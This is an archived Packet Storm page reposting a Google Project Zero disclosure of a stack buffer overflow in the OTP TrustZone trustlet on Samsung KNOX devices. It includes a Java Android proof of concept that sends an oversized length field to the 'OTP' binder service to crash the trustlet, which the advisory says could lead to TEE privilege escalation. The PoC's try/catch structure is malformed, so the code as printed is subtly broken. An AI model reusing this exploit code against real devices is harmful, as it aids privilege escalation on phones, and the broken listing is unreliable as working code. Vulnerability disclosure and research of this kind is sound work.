Twenty Year Anniversary

Samsung Devices KNOX Extensions OTP TrustZone Trustlet Stack Buffer Overflow

Samsung Devices KNOX Extensions OTP TrustZone Trustlet Stack Buffer Overflow
Posted Dec 14, 2016
Authored by Google Security Research

As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens. The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server". Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly. Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all. This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets. On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE.

tags | exploit, overflow, local
MD5 | 7ca93e4b9e68b1ccea14faa98806c21a

Samsung Devices KNOX Extensions OTP TrustZone Trustlet Stack Buffer Overflow

Change Mirror Download
/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=938

As a part of the KNOX extensions available on Samsung devices, Samsung provides a TrustZone trustlet which allows the generation of OTP tokens.

The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e), which can be communicated with using the "OTP" service, published by "otp_server".

Many of the internal commands supported by the trustlet must either unwrap or wrap a token. They do so by calling the functions "otp_unwrap" and "otp_wrap", correspondingly.

Both functions copy the internal token data to a local stack based buffer before attempting to wrap or unwrap it. However, this copy operation is performed using a length field supplied in the user's buffer (the length field's offset changes according to the calling code-path), which is not validated at all.

This means an attacker can supply a length field larger than the stack based buffer, causing the user-controlled token data to overflow the stack buffer. There is no stack cookie mitigation in MobiCore trustlets.

On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, including from the SELinux context "untrusted_app". Successfully exploiting this vulnerability should allow a user to elevate privileges to the TrustZone TEE.

I've attached a small PoC which can be used to trigger the overflow. It calls the OTP_GENERATE_OTP command with a large length field which overflows the trustlet's stack. Running it should crash OTP trustlet.
*/

package com.example.laginimaineb.otp;

import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class OneWhoKNOX extends AppCompatActivity {

/**
* The logtag used.
*/
private static final String LOGTAG = "OTP_TEST";

/**
* The name of the OTP binder service.
*/
private static final String INTERFACE_DESCRIPTOR = "OTP";

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

try {
//Getting the binder
Class smClass = Class.forName("android.os.ServiceManager");
IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);

//Writing a command with a large length field
Parcel parcel = Parcel.obtain();
Parcel reply = Parcel.obtain();
parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
byte[] command = new byte[0xDA7];

//Setting the command to OTP_GENERATE_OTP
command[0] = 0x02;
command[1] = 0x00;
command[2] = 0x00;
command[3] = 0x00;

//Setting the length field to something insane
command[0x41C] = (byte)0xFF;
command[0x41C + 1] = (byte)0xFF;
command[0x41C + 2] = (byte)0x00;
command[0x41C + 3] = (byte)0x00;

//Sending the command (should crash the trustlet)
parcel.writeByteArray(command);
binder.transact(2, parcel, reply, 0);
Log.e(LOGTAG, "res=" + reply.readInt());
reply.recycle();
parcel.recycle();

} catch (ClassNotFoundException |
NoSuchMethodException |
IllegalAccessException |
InvocationTargetException ex) {
Log.e(LOGTAG, "Failed to dynamically load ServiceManager methods", ex);
}

} catch (RemoteException ex) {
Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
}
}
}


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    10 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close